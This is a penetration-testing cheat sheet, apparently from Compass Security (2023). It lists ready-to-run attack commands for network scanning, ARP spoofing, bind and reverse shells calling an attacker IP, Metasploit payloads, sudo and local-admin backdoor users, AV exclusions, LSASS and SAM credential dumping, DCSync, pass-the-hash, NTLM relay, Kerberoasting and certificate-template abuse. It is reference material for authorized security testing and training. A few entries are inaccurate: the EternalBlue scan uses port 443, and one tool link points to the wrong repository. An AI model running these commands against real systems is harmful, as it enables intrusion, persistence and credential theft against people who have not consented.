

Hacking Tools Cheat Sheet

COMPASS SECURITY v2.0, September 2023, Compass Security
https://www.compass-security.com

Basic Linux Networking

Show IP configuration:
\$ ip addr show

Change MAC address:

```
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up
```

Static IP address configuration:

```
# ip addr add 10.5.23.42/24 dev eth0
# ip route add default via 10.5.23.1
```

DNS and reverse DNS lookup:

```
$ dig compass-security.com
$ dig -x 10.5.23.42
```

Information Gathering

Find owner of domain or IP address:
\$ whois compass-security.com

Get nameservers and try DNS zone transfer:

```
$ dig example.com ns
$ dig example.com axfr @n1.example.com
```

Use multiple sources for hostname discovery:

```
$ subfinder -d csnc.ch -all
```

Sources for hostname / subdomain discovery:

- [crt.sh](#), [virustotal.com](#), [dnscmd.com](#)

Network Scanning

Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery only)
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file: Host input file
- -oA file: Write output files (3 file formats)
- -sC: Script scan (default scripts)
- --script <file/category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan
- --open: Do not wait for RST (improves speed)
- -v/-d: Verbose / debugging output



Specify target via CIDR 10.5.23.0/24, ranges 10.13-37.5.1-23 or input file -iL scope.txt.

Reverse DNS lookup of IP address range:
nmap -sL 10.5.23.0/24

ARP host discovery:

```
# nmap -n -sn -PR 10.5.23.0/24
```

Host discovery (ARP, ICMP, SYN 443, ACK 80):

```
# nmap -sn -n 10.5.23.0/24
```

SYN scan (half-open scan = SYN/SYN-ACK/RST):

```
# nmap -Pn -n -sS -p 22,80 10.5.23.42
```

List nmap scripts:

```
$ ls /usr/share/nmap/scripts
```

Scan for EternalBlue vulnerable hosts:

```
# nmap -n -Pn -p 443 --script smb-vuln-ms17-010 10.5.23.0/24
```

Scan for vulnerabilities (script category filter):

```
# nmap -n -Pn --script "vuln and safe" 10.5.23.0/24
```

Run script on non-default port using +:

```
# nmap -n -Pn -p 80 --script +http-title compass-security.com
```

Performance Tuning (1 SYN packet ≈ 60 bytes

→ 20'000 packets/s ≈ 10 Mbps):

```
# nmap -n -Pn --min-rate 20000 10.5.23.0/24
```

Public internet scan databases:

- [shodan.io](#), [censys.io](#)

Sniffing

ARP spoofing:

```
# arpspoof -t 10.5.23.42 10.5.23.1
```

GUI version:

```
# ettercap -G
```

Show / delete ARP cache:

```
$ ip neigh show
# ip neigh flush all
```

Sniff traffic:

```
# tcpdump [options] [filters]
```

Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file: Write output PCAP file
- -r file: Read PCAP file



Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to networks

Use tshark or Wireshark for advanced sniffing.

Sniffing over SSH on a remote host:

```
$ ssh 10.5.23.42 sudo tcpdump -w- port not ssh | wireshark -k -i -
```

Search in traffic, show HTTP traffic or images:

```
# ngrep -i pass; urlsnarf; driftnet
```

IP

Test IP forwarding for a specific MAC address:

```
# nping -e eth0 --tcp -p 443 --dest-mac 23:05:13:37:42:21 8.8.8.8
```

TCP

Listen on TCP port:

```
$ ncat -vnlp 2305
```

Connect to TCP port:

```
$ ncat -v 10.5.23.42 2305
```

TLS

Create self-signed certificate:

```
# openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -subj "/CN=example.net/"
```

Start TLS Server:

```
$ openssl s_server -cert cert.pem -key key.pem -port 2305
$ ncat --ssl -l -p 2305 --ssl-cert cert.pem --ssl-key key.pem
```

Connect to TLS service:

```
$ openssl s_client -connect 10.5.23.42:2305
$ ncat --ssl 10.5.23.42 2305
```

Show certificate details of full chain:

```
$ openssl s_client -showcerts -connect 10.5.23.42:2305 | openssl x509 -text
```

Test TLS server certificate and protocols/ciphers:
\$ sslyze compass-security.com:443

TCP to TLS proxy:

```
$ socat TCP-LISTEN:2305,fork,reuseaddr ssl:example.com:443
```

Online TLS tests: [ssllabs.com](#), [hardenize.com](#)

HTTP

Start Python webserver on port 2305:

```
$ python3 -m http.server 2305
```

Start webserver for data up/download:

```
$ goshs -s -ss -p 2305 -b user:hunter2
```

Perform HTTP request:

```
$ curl http://10.5.23.42:2305/?foo=bar
```

Useful curl options:

- -k: Accept untrusted certificates
- -d "foo=bar": HTTP POST data
- -H: "Foo: Bar": HTTP header
- -I: Perform HEAD request
- -L: Follow redirects
- -o foobar.html: Write output file
- --proxy http://127.0.0.1:8080: Set proxy

Scan for common files/applications/configs:

```
# nikto -host https://example.net
```

Enumerate common directory-/filenames:

```
$ feroxbuster -u https://example.net -w worlist.txt
```

Get wordlists (raft*, wellknown*, quickhits):

- GitHub [danielmiessler/SecLists](#)
- GitHub [fuzzdb-project/fuzzdb](#)

Shells

Start bind shell (on victim):

```
$ ncat -vnlp 2305 -e "/bin/bash -i"
```

Connect to bind shell (on attacker):

```
$ ncat -v 10.5.23.42 2305
```

Listen for reverse shell (on attacker):

```
$ ncat -vnlp 2305
```

Start reverse shell (on victim):

```
$ ncat -e "/bin/bash -i" 10.5.5.5 2305
$ bash -i &>/dev/tcp/10.5.23.5/42 0>&1
```

More shells on [revshells.com](#).

Upgrade to more functional pseudo terminal:

```
victim $ python -c 'import pty; pty.spawn("/bin/bash")'
victim $ ^Z # press Ctrl-Z
attacker $ stty -a # get ROWS/COLS
attacker $ stty raw -echo
attacker $ fg # press enter twice
victim $ stty rows <ROWS> cols <COLS>
victim $ export TERM=xterm-256color
```



Vulnerability DBs and Exploits



Exploit search (local copy of the Exploit-DB):

```
$ searchsploit apache
```

Show exploit file path and copy it into clipboard:

```
$ searchsploit -p 40142
```

Online vulnerability and exploit databases:

- cvedetails.com, exploit-db.com, packetstormsecurity.com

Cracking



Online brute force SSH passwords:

```
# ncrack -p 22 --user root -P passwords.txt 10.5.23.0/24
```

Determine hash type:

```
# hashid 869d[...]bd88
```

Show example hash types for hashcat:

```
$ hashcat --example-hashes
```

Crack hashes (e.g. type 1000 for NTLM):

```
$ hashcat -m 1000 -a 0 hash.txt -r rules.txt /opt/wordlists/*
```

Crack hashes using John the Ripper:

```
$ john --wordlist=pwds.txt hash.txt
```

Metasploit Framework



Start Metasploit, search & use exploit:

```
# msfconsole
msf > search eternalblue
msf > use exploit/windows/smb/ms17_...
msf exploit(...) > show options
msf exploit(...) > set TARGET 10.5.23.42
msf exploit(...) > exploit
```

Generate reverse shell (WAR):

```
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip address> LPORT=443 -f war > sh.war
```

Reverse shell listener:

```
msf > use exploit/multi/handler
msf > set payload linux/x64/shell_reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > exploit
```

Upgrade to Meterpreter:

```
background # or press Ctrl-Z ^Z
background session 1? [y/N] y
msf > sessions # list sessions
msf > sessions -u 1 # upgrade
```

```
msf > sessions 2 # interact
meterpreter > sysinfo # use it
```

File exchange / execute binary:

```
meterpreter > upload beacon.exe
meterpreter > download c:\keepass.kdb
meterpreter > execute -i -f /your/bin
```

Port forwarding to localhost:

```
meterpreter > portfwd add -l 2323 -p 3389 -r 10.5.23.23
```

Background Meterpreter session:

```
meterpreter > background
```

Pivoting through existing Meterpreter session:

```
msf > use post/multi/manage/autoroute
msf > set session 2 # meterpreter sess
msf > run
msf > route
```

SOCKS via Meterpreter (requires autoroute):

```
msf > use auxiliary/server/socks4a
msf > set SRVPORT 8080
msf > run
```

Configure ProxyChains:

```
# vi /etc/proxychains.conf
[...]
socks4 127.0.0.1 1080
```

Connect through SOCKS proxy:

```
# proxychains ncat 172.23.5.42 2305
```

Linux Privilege Escalation



Check for common privesc techniques:

- GitHub [carlospolop/PEASS-ng](https://github.com/carlospolop/PEASS-ng) → linPEAS
- GitHub [rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)
- GTFOBins: gtfobins.github.io

Set SUID bit to shell and start root shell:

```
# chmod +s $(which sh)
$ sh -p
```

Add SUDO backdoor user:

```
# echo "user ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```

Lateral Movement Linux



Sniff SSH passwords:

```
# strace -p "$(pgrep -f /usr/sbin/sshd)" -f -e trace=write
```

SSH agent hijacking:

```
# export SSH_AUTH_SOCK=/tmp/ssh.../agent
# ssh-add -l
```

Windows Privilege Escalation



Bypass PowerShell execution policy:

```
PS > Set-ExecutionPolicy -Policy bypass -Scope process
```

Use AMSI bypasses from amsi.fail.

Check for common privesc techniques:

- GitHub [carlospolop/PEASS-ng](https://github.com/carlospolop/PEASS-ng) → winPEAS
- GitHub [itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck)
- GitHub [PowerShellMafia/PowerSploit](https://github.com/PowerShellMafia/PowerSploit) → PowerUp.ps1

Exploit WSUS updates delivered via HTTP:

```
$ pywsus --host 10.5.23.42 --port 8530 --executable /opt/psexec64.exe --command '/accepteula /s cmd.exe /c "powershell.exe -encodedCommand J[...]"'
```

Add new local admin to persist after privesc:

```
C:\> net user backdoor hunter2
C:\> net localgroup Administrators backdoor /add
```

Add AV exclusion:

```
PS > Add-MpPreference -ExclusionPath C:\tmp\
```

Active Directory



Start process with network credentials:

```
C:\> runas /netonly /user:example.net\alice powershell.exe
```

Analyze AD & create report using PingCastle:

```
C:\> PingCastle.exe --healthcheck --explore-trust --explore-forest-trust --no-enum-limit
```

Gather BloodHound data using SharpHound:

```
C:\> SharpHound.exe -c All,GPOLocalGroup
```

Query AD using PowerView:

```
PS > Import-Module PowerView.ps1
PS > Get-Domain
PS > Get-DomainUser
PS > Get-DomainTrust
PS > Get-DomainComputer
PS > Get-DomainController
PS > Get-DomainGroupMember -Recurse -Identity "Domain Admins"
```

Network Shares



Search for juicy files on domain joined systems:

```
C:\> snaffler.exe -s -o snaffler.log
```

Scan for network shares:

```
$ smbmap.py --host-file hosts.txt -u Administrator -p PasswordOrHash
```

Windows Credentials Gathering



Start Mimikatz and create log file:

```
C:\> mimikatz.exe
mimikatz # log C:\tmp\mimikatz.log
mimikatz # privilege::debug
```

Show passwords/hashes of logged in users:

```
mimikatz# sekurlsa::logonpasswords
```

Dump lsass.exe using taskmgr or:

```
PS > (Get-Process -Name lsass).Id
PS > procdump.exe -accepteula -ma <pid> c:\lsass.dmp
PS > rundll32.exe C:\windows\System32\comsvcs.dll MiniDump <pid> C:\lsass.dmp full
```

Read LSASS process dump:

```
mimikatz# sekurlsa::minidump lsass.dmp
$ pypykatz lsa minidump lsass.dmp
```

Dump LSASS remotely:

```
$ lsassy -u admin -H e8[...]97 hostname
```

Export SYSTEM & SAM hive for local users:

```
C:\> reg save HKLM\SYSTEM system.hiv
C:\> reg save HKLM\SAM sam.hiv
```

Dump hashes from SYSTEM & SAM file:

```
mimikatz# lsadump::sam /system:system.hiv /sam:sam.hiv
$ secretsdump.py -sam sam.hiv -system system.hiv local
```

Dump local user hashes remotely:

```
$ secretsdump.py example.net/alice:hunter2@hostname
$ crackmapexec -u admin --local-auth -H :01[...]D03 10.5.23.0/24 -sam
```

DCSync:

```
$ secretsdump.py -just-dc -just-dc-user alice example.net/admin:s3cret@dc
mimikatz # lsadump::dcsync /user:alice
```

Pass-the-Hash



Remote shell:

```
$ psexec.py -hashes :23[...]05 domain/username@10.5.23.42
```

Alternatives: [smbexec.py](https://github.com/Powercat-project/powercat), [wmiexec.py](https://github.com/Powercat-project/wmiexec.py).

Access shares:
\$ smbclient.py -hashes :23[...]05
example.net/alice@10.5.23.42

Spray hash over a subnet:
\$ crackmapexec smb 10.0.1.0/24 -u
alice -d example.net -H 23[...]05

Enable restricted admin mode:
PS > New-ItemProperty -Path
HKLM:\System\CurrentControlSet\Control
\Lsa -Name DisableRestrictedAdmin
-Value 0 -PropertyType DWORD -Force

RDP (requires restricted admin mode):
\$ xfreerdp /u:alice /d:example.net
/pth:23[...]05 /v:10.5.23.42

RDP using mimikatz:
mimikatz# sekurlsa::pth /user:alice
/domain:example.net /ntlm: 23[...]05
/run:"mstsc.exe /restrictedadmin"

NtLm Relay

Vulnerable if message signing disabled:
nmap -n -Pn -p 445 --script smb-
security-mode 10.5.23.0/24

Generate relay list:
\$ crackmapexec smb 10.5.23.0/24 --gen-
relay-list targets-smb.txt


Disable SMB and HTTP in Responder.conf and
start Responder for LLMNR/NBT-NS poisoning:
responder -I eth0

NtLm Relay to target and extract SAM file:
ntlmrelayx.py -smb2support
-t smb://10.5.23.42

NtLm Relay using socks proxy:
ntlmrelayx.py -tf targets.txt
-smb2support -socks

Configure ProxyChains & access files via proxy:
\$ proxychains smbclient.py
example.net/alice:InvalidPw@10.5.23.42

Coercion / Connection Triggering

Coerce via shortcut file (clickme.lnk): 
[InternetShortcut]
URL=https://google.com
IconIndex=0
IconFile=\\10.5.23.42\icon.ico

Coerce via PrinterBug (Print Spooler Service):
\$ printerbug.py
example.net/alice:pwd@victim attacker

```
mimikatz# misc::spooler misc::spooler  
/connect:victim /server:attacker
```

Coerce via PetitPotam (EFS remote protocol):
\$ PetitPotam.py -u alice -p hunter2 -d
example.net attacker victim
mimikatz# misc::efs /connect:victim
/server:attacker

Coerce using multiple different techniques:
\$ Coercer.py coerce -u alice -p
hunter2 --target victim --listener-ip
attacker

Password Spraying

Display password policy:
C:\> net accounts /domain

Password spraying for all domain users:
C:\> rubeus.exe brute /password:s3cret

Password spraying for certain users:
C:\> rubeus.exe brute /users:users.txt
/passwords:passwords.txt
\$ kerbrute passwordspray --dc 10.0.0.5
-d example.net users.txt hunter2

Kerberos

List Kerberos tickets:
C:\> klist
C:\> rubeus.exe klist
C:\> rubeus.exe triage

Dump Kerberos keys:
mimikatz# sekurlsa::ekeys

Get TGT for current user:
C:\> rubeus.exe tgtdeleg

Get TGT for specific user:
C:\> rubeus.exe asktgt /user:alice
/domain:example.net /password:pwd /ptt

Pass-the-key using /rc4, /aes128 or /aes256.
Pass-the-Ticket:
C:\> Rubeus.exe ptt /ticket:doI[...]=

Dump tickets (luid from rubeus klist)
C:\> rubeus.exe dump /luid:0x234205
/nowrap

Import ticket:
C:\> rubeus.exe ptt /ticket:doI[...]=

Get ST:
C:\> rubeus.exe asktgs /ticket:doI[...]=
/service:cifs/dc.example.net /ptt

S4U2Self (machine account to local admin):
C:\> rubeus.exe asktgt /nowrap
/domain:example.net /user:"MYHOST\$"
/aes256:23[...]05
C:\> rubeus.exe s4u /self /nowrap
/impersonateuser:domainadmin
/altservice:cifs/server.example.net
/ticket:doI[...]=

Kerberoasting

Get users with SPN:
PS > Get-DomainUser -SPN

Kerberoast (hashcat mode 13100):
C:\> rubeus.exe kerberoast
/outfile:hashes.txt

Get users which do not require preauth:
PS > Get-DomainUser -UACFilter
DONT_REQ_PREAUTH

AS-REP roast (hashcat mode 18200):
C:\> rubeus.exe asreproast
/format:hashcat /outfile:hashes.txt

Kerberos Delegation

Get unconstrained delegation systems:
PS > Get-DomainComputer -Unconstrained

Watch for forwardable tickets:
C:\> rubeus.exe monitor /interval:10
/nowrap

Coerce DC, import ticket & DCSync to privsec.
Get constrained delegation systems:
PS > Get-DomainUser -TrustedToAuth
PS > Get-DomainComputer -TrustedToAuth

Get ST using constrained delegation account:
C:\> rubeus.exe s4u
/domain:example.net /user:sql_user
/rc4:23[...]05 /impersonateuser:alice
/msdsspn:cifs/server.example.net
/altservice:host /ptt /nowrap

DACL / Shadow Credentials

Use GenericAll/GenericWrite to add certificate:
C:\> whisker.exe add /target:alice

Get NTLM hash via PKINIT/U2U:
C:\> rubeus.exe asktgt /user:alice
/certificate:MI[...]= /password:hunter2
/domain:example.net /dc:dc.example.net
/getcredentials /show

Remove certificate to cleanup:
C:\> whisker.exe clean /target:alice

Active Directory Certificate Services

List CAs & find vulnerable templates:
C:\> certify.exe cas
C:\> certify.exe find /vulnerable

Request certificate with specified subject:
C:\> certify.exe request
/ca:ca.example.net\CA /template:ESC1
/altname:bob /install

Use certificate to get Kerberos ticket:
C:\> rubeus.exe asktgt /ptt /user:bob
/certificate:crt.pfx /password:hunter2
/domain:example.net /dc:dc.example.net

NTLM relay to HTTP enrollment endpoint:
\$ ntlmrelayx.py -t
http://10.5.23.42/certsrv/certfnsh.asp
-smb2support --adcs --template Machine

MS SQL

Use PowerUpSQL & get instances:
PS > Import-Module PowerUpSQL.ps1
PS > \$t = Get-SQLInstanceDomain | Get-
SQLConnectionTest | ? { \$_.Status -eq
"Accessible" }; \$t

Get information & vulnerabilities:
PS > \$t | Get-SQLServerInfo
PS > \$t | Invoke-SQLAudit -v

Coerce (alternatively xp_fileexist):
PS > Get-SQLQuery -Verbose -Query
"EXEC master.sys.xp_dirtree
'\\10.5.23.42\x,1, 1' -Instance
"mssql.example.net,1433"

Command execution (requires sysadmin):
PS > Invoke-SQLOSCmd -Command "whoami"
-Rawresults -Instance "mssql...,1433"

Useful Online Resources

- Compass Link Collection: git.io/secres
- The Hacker Recipes: thehacker.recipes
- The Hacker Tools: tools.thehacker.recipes
- Hacktricks: book.hacktricks.xyz
- Red Team Notes: ired.team
- Get the latest cheat sheet version at GitHub:
[CompassSecurity/Hacking_Tools_Cheat_Sheet](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet)